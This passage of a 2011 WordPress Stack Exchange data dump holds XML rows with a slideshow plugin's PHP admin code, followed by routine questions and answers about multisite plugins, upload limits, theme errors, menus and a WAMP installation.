$attachments, 'frompost' =&amp;gt; true), false, 'default');&#xA;        }&#xA;    } else {&#xA;        $slides = $this -&amp;gt; Slide -&amp;gt; find_all(null, null, array('order', &quot;ASC&quot;));&#xA;        $content = $this -&amp;gt; render('gallery', array('slides' =&amp;gt; $slides, 'frompost' =&amp;gt; false), false, 'default');&#xA;    }&#xA;&#xA;    if ($output) { echo $content; } else { return $content; }&#xA;}&#xA;&#xA;function embed($atts = array(), $content = null) {&#xA;    //global variables&#xA;    global $wpdb;&#xA;&#xA;    $defaults = array('post_id' =&amp;gt; null, 'exclude' =&amp;gt; null, 'custom' =&amp;gt; null);      &#xA;    extract(shortcode_atts($defaults, $atts));&#xA;&#xA;    if (!empty($custom)) {&#xA;        $slides = $this -&amp;gt; Slide -&amp;gt; find_all(null, null, array('order', &quot;ASC&quot;));&#xA;        $content = $this -&amp;gt; render('gallery', array('slides' =&amp;gt; $slides, 'frompost' =&amp;gt; false), false, 'default');&#xA;    } else {&#xA;        global $post;&#xA;        $pid = (empty($post_id)) ? $post -&amp;gt; ID : $post_id;&#xA;&#xA;        if (!empty($pid) &amp;amp;&amp;amp; $post = get_post($pid)) {&#xA;            if ($attachments = get_children(&quot;post_parent=&quot; . $post -&amp;gt; ID . &quot;&amp;amp;post_type=attachment&amp;amp;post_mime_type=image&amp;amp;orderby=menu_order ASC, ID ASC&quot;)) {&#xA;                if (!empty($exclude)) {&#xA;                    $exclude = array_map('trim', explode(',', $exclude));&#xA;&#xA;                    $a = 0;&#xA;                    foreach ($attachments as $id =&amp;gt; $attachment) {&#xA;&#xA;                        $a++;&#xA;                        if (in_array($a, $exclude)) {&#xA;                            unset($attachments[$id]);&#xA;                        }&#xA;                    }&#xA;                }&#xA;&#xA;                $content = $this -&amp;gt; render('gallery', array('slides' =&amp;gt; $attachments, 'frompost' =&amp;gt; true), false, 'default');&#xA;            }&#xA;        }&#xA;    }&#xA;&#xA;    return $content;&#xA;}&#xA;&#xA;function admin_slides() {   &#xA;    switch ($_GET['method']) {&#xA;        case 'delete'           :&#xA;            if (!empty($_GET['id'])) {&#xA;                if ($this -&amp;gt; Slide -&amp;gt; delete($_GET['id'])) {&#xA;                    $msg_type = 'message';&#xA;                    $message = __('Slide has been removed', $this -&amp;gt; plugin_name);&#xA;                } else {&#xA;                    $msg_type = 'error';&#xA;                    $message = __('Slide cannot be removed', $this -&amp;gt; plugin_name); &#xA;                }&#xA;            } else {&#xA;                $msg_type = 'error';&#xA;                $message = __('No slide was specified', $this -&amp;gt; plugin_name);&#xA;            }&#xA;&#xA;            $this -&amp;gt; redirect($this -&amp;gt; referer, $msg_type, $message);&#xA;            break;&#xA;        case 'save'             :&#xA;            if (!empty($_POST)) {&#xA;                if ($this -&amp;gt; Slide -&amp;gt; save($_POST, true)) {&#xA;                    $message = __('Slide has been saved', $this -&amp;gt; plugin_name);&#xA;                    $this -&amp;gt; redirect($this -&amp;gt; url, &quot;message&quot;, $message);&#xA;                } else {&#xA;                    $this -&amp;gt; render('slides' . DS . 'save', false, true, 'admin');&#xA;                }&#xA;            } else {&#xA;                $this -&amp;gt; Db -&amp;gt; model = $this -&amp;gt; Slide -&amp;gt; model;&#xA;                $this -&amp;gt; Slide -&amp;gt; find(array('id' =&amp;gt; $_GET['id']));&#xA;                $this -&amp;gt; render('slides' . DS . 'save', false, true, 'admin');&#xA;            }&#xA;            break;&#xA;        case 'mass'             :&#xA;            if (!empty($_POST['action'])) {&#xA;                if (!empty($_POST['Slide']['checklist'])) {                     &#xA;                    switch ($_POST['action']) {&#xA;                        case 'delete'               :                           &#xA;                            foreach ($_POST['Slide']['checklist'] as $slide_id) {&#xA;                                $this -&amp;gt; Slide -&amp;gt; delete($slide_id);&#xA;                            }&#xA;&#xA;                            $message = __('Selected slides have been removed', $this -&amp;gt; plugin_name);&#xA;                            $this -&amp;gt; redirect($this -&amp;gt; url, 'message', $message);&#xA;                            break;&#xA;                    }&#xA;                } else {&#xA;                    $message = __('No slides were selected', $this -&amp;gt; plugin_name);&#xA;                    $this -&amp;gt; redirect($this -&amp;gt; url, &quot;error&quot;, $message);&#xA;                }&#xA;            } else {&#xA;                $message = __('No action was specified', $this -&amp;gt; plugin_name);&#xA;                $this -&amp;gt; redirect($this -&amp;gt; url, &quot;error&quot;, $message);&#xA;            }&#xA;            break;&#xA;        case 'order'            :&#xA;            $slides = $this -&amp;gt; Slide -&amp;gt; find_all(null, null, array('order', &quot;ASC&quot;));&#xA;            $this -&amp;gt; render('slides' . DS . 'order', array('slides' =&amp;gt; $slides), true, 'admin');&#xA;            break;&#xA;        default                 :&#xA;            $data = $this -&amp;gt; paginate('Slide');             &#xA;            $this -&amp;gt; render('slides' . DS . 'index', array('slides' =&amp;gt; $data[$this -&amp;gt; Slide -&amp;gt; model], 'paginate' =&amp;gt; $data['Paginate']), true, 'admin');&#xA;            break;&#xA;    }&#xA;}&#xA;&#xA;function admin_settings() {&#xA;    switch ($_GET['method']) {&#xA;        case 'reset'            :&#xA;            global $wpdb;&#xA;            $query = &quot;DELETE FROM `&quot; . $wpdb -&amp;gt; prefix . &quot;options` WHERE `option_name` LIKE '&quot; . $this -&amp;gt; pre . &quot;%';&quot;;&#xA;&#xA;            if ($wpdb -&amp;gt; query($query)) {&#xA;                $message = __('All configuration settings have been reset to their defaults', $this -&amp;gt; plugin_name);&#xA;                $msg_type = 'message';&#xA;                $this -&amp;gt; render_msg($message);  &#xA;            } else {&#xA;                $message = __('Configuration settings could not be reset', $this -&amp;gt; plugin_name);&#xA;                $msg_type = 'error';&#xA;                $this -&amp;gt; render_err($message);&#xA;            }&#xA;&#xA;            $this -&amp;gt; redirect($this -&amp;gt; url, $msg_type, $message);&#xA;            break;&#xA;        default                 :&#xA;            if (!empty($_POST)) {&#xA;                foreach ($_POST as $pkey =&amp;gt; $pval) {                    &#xA;                    $this -&amp;gt; update_option($pkey, $pval);&#xA;                }&#xA;&#xA;                $message = __('Configuration has been saved', $this -&amp;gt; plugin_name);&#xA;                $this -&amp;gt; render_msg($message);&#xA;            }   &#xA;            break;&#xA;    }&#xA;&#xA;    $this -&amp;gt; render('settings', false, true, 'admin');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;//initialize a Gallery object&#xA;$Gallery = new Gallery();&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help is appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.org/extend/plugins/slideshow-gallery/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/slideshow-gallery/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&#xA;Jason&lt;/p&gt;&#xA;" OwnerUserId="6974" LastActivityDate="2011-07-28T15:22:36.907" Title="Modify User Access for Slideshow Gallery Plugin" Tags="&lt;plugin-development&gt;&lt;user-access&gt;" />
  <row Id="24326" PostTypeId="1" AcceptedAnswerId="24327" CreationDate="2011-07-28T15:33:49.670" Score="0" ViewCount="38" Body="&lt;p&gt;I'm trying to install plugins in my wordpress subsites instead of network activate that plugin. But i'm not seeing any &quot;add new&quot; link in my subsite plugin area. How to install plugins in my individual sites. Am i missing something?.&#xA;Thanks&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-07-28T16:05:41.950" Title="How to install plugins in individual sites on a wordpress network?" Tags="&lt;plugins&gt;&lt;multisite&gt;" AnswerCount="2" />
  <row Id="24327" PostTypeId="2" ParentId="24326" CreationDate="2011-07-28T16:02:30.877" Score="2" ViewCount="" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Install plugin in networ admin as usual for multisite.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do not activate plugin for whole network.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Go to admin of individual site and enable plugin there for that site alone.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-07-28T16:02:30.877" CommentCount="1" />
  <row Id="24328" PostTypeId="2" ParentId="24326" CreationDate="2011-07-28T16:05:41.950" Score="0" ViewCount="" Body="&lt;p&gt;a) Install the applications to the maintain. &#xA;b) and active the site from your subdomain or sub-directly. &#xA;c) you need to be network admin when you're trying to active the plugins for specific domain. &lt;/p&gt;&#xA;" OwnerUserId="2249" LastActivityDate="2011-07-28T16:05:41.950" />
  <row Id="24329" PostTypeId="2" ParentId="24260" CreationDate="2011-07-28T16:09:21.730" Score="0" ViewCount="" Body="&lt;p&gt;I am not sure if you can filter the links within the content in PHP, but you could use jQuery to replace the href of each of the links, selecting them based on those rel and class values you mentioned.&lt;/p&gt;&#xA;" OwnerUserId="300" LastActivityDate="2011-07-28T16:09:21.730" CommentCount="1" />
  <row Id="24331" PostTypeId="2" ParentId="24315" CreationDate="2011-07-28T17:05:19.217" Score="0" ViewCount="" Body="&lt;p&gt;Take a look at my answer here, if you are trying to replace the post content:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/24263/edit-the-content-function/24265#24265&quot;&gt;Edit the_content function&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="300" LastActivityDate="2011-07-28T17:05:19.217" />
  <row Id="24333" PostTypeId="1" AcceptedAnswerId="24334" CreationDate="2011-07-28T17:13:57.063" Score="0" ViewCount="45" Body="&lt;p&gt;I have a Wordpress Multisite install on our FreeBSD development server. It seems to be stuck at 1MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the following settings in php.ini&lt;/p&gt;&#xA;&#xA;&lt;p&gt;upload_max_filesize = 100M&lt;br&gt;&#xA;post_max_size = 100M&lt;br&gt;&#xA;max_execution_time = 300  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the regular Wordpress installs on the site have a max upload size of 100MB, as expected. Regardless of the values I put in the Multisite install is stuck at 1MB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Setup:&lt;br&gt;&#xA;FreeBSD 8.1&lt;br&gt;&#xA;PHP 5.3.3&lt;br&gt;&#xA;Wordpress Multisite 3.2.1  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Moving the site to another server on Rackspace, it has the same issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help on getting this limit raised would be appreciated. If I left any pertinent information out let me know and I'll provide what I can.&lt;/p&gt;&#xA;" OwnerUserId="760" LastActivityDate="2011-07-28T17:26:57.877" Title="Multisite stuck at 1MB for max file size" Tags="&lt;multisite&gt;&lt;media-upload&gt;" AnswerCount="1" />
  <row Id="24334" PostTypeId="2" ParentId="24333" CreationDate="2011-07-28T17:26:57.877" Score="0" ViewCount="" Body="&lt;p&gt;There is a &lt;a href=&quot;http://codex.wordpress.org/Network_Admin_Settings_Screen&quot; rel=&quot;nofollow&quot;&gt;network admin settings page&lt;/a&gt; with a Max upload file size field, make sure this is also set correctly.&lt;/p&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-07-28T17:26:57.877" CommentCount="1" />
  <row Id="24335" PostTypeId="1" AcceptedAnswerId="24339" CreationDate="2011-07-28T17:29:20.617" Score="0" ViewCount="33" Body="&lt;p&gt;I have been attempting to make this theme work, Kelontong by Tokokoo, as seen here :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://stylishwebdesigner.com/6-free-wordpress-ecommerce-themes-to-create-an-online-&quot; rel=&quot;nofollow&quot;&gt;http://stylishwebdesigner.com/6-free-wordpress-ecommerce-themes-to-create-an-online-&lt;/a&gt;   marketplace-for-your-product/&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, after uploading the theme to my supervisor's wordpress site, and installing and activating the theme, the homepage displays this message where the photo slideshow should be:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Catchable fatal error: Object of class WP_Error could not be converted to string in /home/valeh/vene.com/wp-content/themes/appcloudfree-2/home.php on line 25&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I check that line of code in the file, this is what is shown:&#xA;&lt;code&gt;&amp;lt;input type=&quot;hidden&quot; value=&quot;&amp;lt;?php echo wpsc_the_product_id(); ?&amp;gt;&quot; name=&quot;product_id&quot; /&amp;gt;&lt;/code&gt;       &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Could someone please tell me what is causing this error?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, I'm not sure if this is related or if the theme is just completely broken, but the theme's panel on the dashboard of my site does not seem to be functioning at all either, it doesn't seem that any of it has a buttonmode, as in i cannot click on any of the buttons.&lt;/p&gt;&#xA;" OwnerUserId="6451" LastActivityDate="2011-07-28T18:55:11.933" Title="Catchable fatal error in appcloud free theme by Tokokoo" Tags="&lt;php&gt;&lt;themes&gt;&lt;dashboard&gt;&lt;fatal-error&gt;" AnswerCount="1" />
  <row Id="24336" PostTypeId="1" AcceptedAnswerId="24346" CreationDate="2011-07-28T17:35:11.763" Score="0" ViewCount="69" Body="&lt;p&gt;I have a plugin install called uCan post so registered users can post and what not, but I am wanting to have two category lists for them to choose from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;one is a country &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the other is an activity list.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I have the two lists available but I want to exclude certain category ID's from one of the lists.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for the category lists.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- START EVENTS CATEGORIES --&amp;gt;&#xA;  &amp;lt;br /&amp;gt;&#xA;  &amp;lt;?php&#xA;    if($this-&amp;gt;ucan_options['uCan_Show_Categories'])&#xA;    {&#xA;  ?&amp;gt;&#xA;&#xA;      &amp;lt;label&amp;gt;&#xA;        &amp;lt;?php echo __('Select Your Experience', 'ucan-post'); ?&amp;gt;:&#xA;      &amp;lt;/label&amp;gt;&#xA;      &amp;lt;select name=&quot;ucan_submission_category&quot;&amp;gt;&#xA;        &amp;lt;?php&#xA;          foreach($categories as $category)&#xA;            if($category-&amp;gt;cat_ID == $_POST['ucn_submission_category'])&#xA;              echo '&amp;lt;option value=&quot;'.$category-&amp;gt;cat_ID.'&quot; selected=&quot;selected&quot;&amp;gt;'.$category-&amp;gt;name.'&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;/option&amp;gt;';&#xA;            else&#xA;              echo '&amp;lt;option value=&quot;'.$category-&amp;gt;cat_ID.'&quot;&quot;&amp;gt;'.$category-&amp;gt;name.'&amp;amp;nbsp;&amp;amp;nbsp;&amp;lt;/option&amp;gt;';&#xA;        ?&amp;gt;&#xA;      &amp;lt;/select&amp;gt;&#xA;  &amp;lt;?php&#xA;    }&#xA;  ?&amp;gt;&#xA;  &amp;lt;!-- END EVENTS CATEGORIES --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="6999" LastActivityDate="2011-07-31T13:15:21.020" Title="Removing category ID's from a selection list" Tags="&lt;plugin-list-category-post&gt;" AnswerCount="1" CommentCount="6" FavoriteCount="1" />
  <row Id="24337" PostTypeId="1" AcceptedAnswerId="24342" CreationDate="2011-07-28T18:29:11.973" Score="0" ViewCount="39" Body="&lt;p&gt;I have a multisite setup, with the main site being the company web site and a couple other blogs that will have different themes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to pull in posts from one or the other blog onto the home page of the main blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to accomplish this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="1156" LastActivityDate="2011-07-28T19:10:42.123" Title="What's the best way to get posts from one multisite blog into another?" Tags="&lt;multisite&gt;" AnswerCount="1" />
  <row Id="24338" PostTypeId="1" CreationDate="2011-07-28T18:43:06.053" Score="0" ViewCount="51" Body="&lt;p&gt;Basically I need a custom menu consisting of two level.&#xA;Top level will consist of available categories, possibly with added feature that each category name is follow by the number of posts in that particular category, ie. Articles (37).&#xA;The second or bottom level will consists of all unique tags relevant to that particular category.&#xA;I'd very much like to visualize this, but I'm an idiot with this interface. No matter what I try to do, I seem to fail, so I'll do it the html way.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul id=&quot;menu&quot;&amp;gt;&#xA;    &amp;lt;li class=&quot;category&quot;&amp;gt;&#xA;        cat1&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li class=&quot;tag&quot;&amp;gt;tag1&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;tag&quot;&amp;gt;tag2&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;tag&quot;&amp;gt;tag3&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;category&quot;&amp;gt;&#xA;        cat2&#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li class=&quot;tag&quot;&amp;gt;tag3&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;tag&quot;&amp;gt;tag7&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;tag&quot;&amp;gt;tag14&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;    &amp;lt;li class=&quot;category&quot;&amp;gt;&#xA;        cat3    &#xA;        &amp;lt;ul&amp;gt;&#xA;            &amp;lt;li class=&quot;tag&quot;&amp;gt;tag2&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;tag&quot;&amp;gt;tag8&amp;lt;/li&amp;gt;&#xA;            &amp;lt;li class=&quot;tag&quot;&amp;gt;tag14&amp;lt;/li&amp;gt;&#xA;        &amp;lt;/ul&amp;gt;&#xA;    &amp;lt;/li&amp;gt;&#xA;&amp;lt;ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Of course each category and tags will be a link.&#xA;Category links will list post it that specific category, just as we know it, however tag links will list post featuring the tag, but only those listed in the relevant category of course.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That pretty much sums it up I think.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried on my own, but I'm going nowhere fast, so any help will be very much appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Best regards&lt;/p&gt;&#xA;" OwnerUserId="7423" LastActivityDate="2011-08-28T17:36:12.023" Title="Custom menu with categories and tags" Tags="&lt;categories&gt;&lt;tags&gt;&lt;menus&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="24339" PostTypeId="2" ParentId="24335" CreationDate="2011-07-28T18:55:11.933" Score="0" ViewCount="" Body="&lt;p&gt;Well the theme you mentioned isn't what you get if you click download. The actual theme Kelontong is a Premium Theme. You can find it here:&#xA;&lt;a href=&quot;http://tokokoo.com/portfolio/kelontong/&quot; rel=&quot;nofollow&quot;&gt;http://tokokoo.com/portfolio/kelontong/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are using Kelontong that you found as a free download, it's probably a &quot;Ripped&quot; version. If this is the case, you probably have more problems than the error you speak of. You should &lt;a href=&quot;http://wordpress.org/extend/plugins/theme-check/&quot; rel=&quot;nofollow&quot;&gt;download the plug-in used by the WP Theme Review Team called ThemeCheck&lt;/a&gt;. It will display errors, and malicious code (base64, gzdeflate, etc...). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good Luck.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-28T18:55:11.933" />
  <row Id="24340" PostTypeId="2" ParentId="24338" CreationDate="2011-07-28T19:01:12.490" Score="0" ViewCount="" Body="&lt;p&gt;Are you familiar with the wp_nav menu? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could achieve what you are asking using the wp-nav menu, but the categories, pages, etc. would have to be organized manually via the WordPress Menu Interface in the WP-Admin screen. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you are OK with arranging them manually via drag-n-drop, let me know and I'll instruct you on adding this function to your theme.&lt;/p&gt;&#xA;" OwnerUserId="5339" LastActivityDate="2011-07-28T19:01:12.490" CommentCount="4" />
  <row Id="24341" PostTypeId="1" AcceptedAnswerId="24347" CreationDate="2011-07-28T19:09:48.303" Score="0" ViewCount="32" Body="&lt;p&gt;For example: &lt;code&gt;http://www.example.com/dell/studio/studio-1558&lt;/code&gt;&#xA;where &lt;code&gt;dell&lt;/code&gt; and &lt;code&gt;studio&lt;/code&gt; are categories&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A few months back I heard from someone that it is not possible. I need to know why? Which part of code prevents it? Is there any workaround for this?&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2011-07-28T19:46:43.763" Title="Specifying multiple categories in URL (permalink)?" Tags="&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;plugin-custom-permalinks&gt;" AnswerCount="1" />
  <row Id="24342" PostTypeId="2" ParentId="24337" CreationDate="2011-07-28T19:10:42.123" Score="1" ViewCount="" Body="&lt;p&gt;There's a function to get &lt;strong&gt;one post&lt;/strong&gt; from &lt;strong&gt;one blog&lt;/strong&gt;, but that's it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;  $post = get_blog_post( $blog_id, $post_id ); &#xA;  echo $post-&amp;gt;ID;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If the blog has only one author you could also use &lt;code&gt;get_most_recent_post_of_user&lt;/code&gt;. But I think the best way is to fetch the feed using &lt;code&gt;fetch_feed()&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$rss = fetch_feed('http://feed.url');&#xA;// Figure out how many total items there are, but limit it to 5. &#xA;$maxitems = $rss-&amp;gt;get_item_quantity(5); &#xA;// Build an array of all the items, starting with element 0 (first element).&#xA;$rss_items = $rss-&amp;gt;get_items(0, $maxitems);&#xA;&#xA;foreach ( $rss_items as $item ) { // Loop&#xA;    echo $item-&amp;gt;get_title();&#xA;    echo $item-&amp;gt;get_content();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It uses the &lt;a href=&quot;http://simplepie.org/wiki/reference/simplepie_item/start&quot; rel=&quot;nofollow&quot;&gt;Simplepie API&lt;/a&gt;, I recently wrote an article about that &lt;a href=&quot;http://marioaguiar.com/en/journal/display-rss-feed-in-wordpress/&quot; rel=&quot;nofollow&quot;&gt;Display RSS Feed in WordPress&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="7361" LastActivityDate="2011-07-28T19:10:42.123" CommentCount="1" />
  <row Id="24343" PostTypeId="2" ParentId="24317" CreationDate="2011-07-28T19:13:43.027" Score="0" ViewCount="" Body="&lt;p&gt;horizontal overflow caused by a &#xA;&lt;code&gt;text-indent: 3000px;&lt;/code&gt; &#xA;in the style of &#xA;&lt;code&gt;#access #searchsubmit&lt;/code&gt;; &#xA;and by a &#xA;&lt;code&gt;left: 190px;&lt;/code&gt; &#xA;in the style of &#xA;&lt;code&gt;#access&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;easiest remedy: &#xA;add &lt;code&gt;#wrapper { overflow: hidden; }&lt;/code&gt; to style.css.&lt;/p&gt;&#xA;" OwnerUserId="4884" LastActivityDate="2011-07-28T19:13:43.027" CommentCount="1" />
  <row Id="24344" PostTypeId="2" ParentId="23672" CreationDate="2011-07-28T19:14:02.777" Score="0" ViewCount="" Body="&lt;p&gt;I Found &lt;a href=&quot;http://wordpress.org/support/topic/post-preview-does-not-work&quot; rel=&quot;nofollow&quot;&gt;this forum article&lt;/a&gt;. It was an issue with the domain mapping and cookies. I ended up making sure the following options were both checked in the Domain Mapping options:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Remote Login&lt;/li&gt;&#xA;&lt;li&gt;Redirect administration pages to site's original domain (remote login disabled if this redirect is disabled)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7152" LastActivityDate="2011-07-28T19:14:02.777" />
  <row Id="24345" PostTypeId="1" AcceptedAnswerId="24350" CreationDate="2011-07-28T19:30:20.983" Score="0" ViewCount="35" Body="&lt;p&gt;I am trying to install Wordpress on WAMP &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed my localhost path to &lt;code&gt;localhost:11245&lt;/code&gt; in the WAMP config file, so when I load my apache admin screen I go to &lt;code&gt;localhost:11245&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I loaded Wordpress, &lt;code&gt;localhost:11245/wordpress&lt;/code&gt;, it prompted me to enter the admin information, that is what I entered : &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Database Name : &lt;code&gt;wordpress&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;User Name : &lt;code&gt;wpadmin&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Password : &lt;code&gt;blank&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Database Host : &lt;code&gt;localhost:11245&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Table prefix : &lt;code&gt;wp_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When I click &lt;code&gt;Submit&lt;/code&gt;, it loads indefinitely. Somehow I made it come up with the following error. I imagine this has something to do with me changing the port &#xA;number.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Welcome to WordPress. Before getting started, we need some information&#xA;  on the database. You will need to know the following items before&#xA;  proceeding.&lt;/p&gt;&#xA;  &#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;Database name  &lt;/li&gt;&#xA;  &lt;li&gt;Database username  &lt;/li&gt;&#xA;  &lt;li&gt;Database password  &lt;/li&gt;&#xA;  &lt;li&gt;Database host&lt;/li&gt;&#xA;  &lt;li&gt;Table prefix (if you want to run more than one WordPress in a&#xA;  single database)&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;  &#xA;  &lt;p&gt;If for any reason this automatic file creation doesn't work, don't&#xA;  worry. All this does is fill in the database information to a&#xA;  configuration file. You may also simply open wp-config-sample.php in a&#xA;  text editor, fill in your information, and save it as wp-config.php.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;In all likelihood, these items were supplied to you by your Web Host.&#xA;  If you do not have this information, then you will need to contact&#xA;  them before you can continue. If you’re all ready…&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;How can I get it to install?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was able to get WAMP to route to &lt;code&gt;localhost&lt;/code&gt;, then I ran &lt;code&gt;localhost/wordpress&lt;/code&gt; and went through the setup screen again with these settings :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Database Name : &lt;code&gt;wordpress&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;User Name : &lt;code&gt;root&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Password : ``&lt;/li&gt;&#xA;&lt;li&gt;Database Host : &lt;code&gt;localhost&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;Table prefix : &lt;code&gt;wp_&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I just ran a php page with this info on it and it returned &lt;code&gt;Connection OK&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php &#xA;$link = mysql_connect('localhost','root',''); &#xA;if (!$link) { &#xA;    die('Could not connect to MySQL: ' . mysql_error()); &#xA;} &#xA;echo 'Connection OK'; mysql_close($link); &#xA;?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7424" LastEditorUserId="7424" LastEditorDisplayName="" LastEditDate="2011-07-29T13:46:03.157" LastActivityDate="2011-07-29T13:46:03.157" Title="WAMP Wordpress installation cannot get past step 1, loads indefinitely" Tags="&lt;localhost&gt;&lt;local-installation&gt;" AnswerCount="1" />
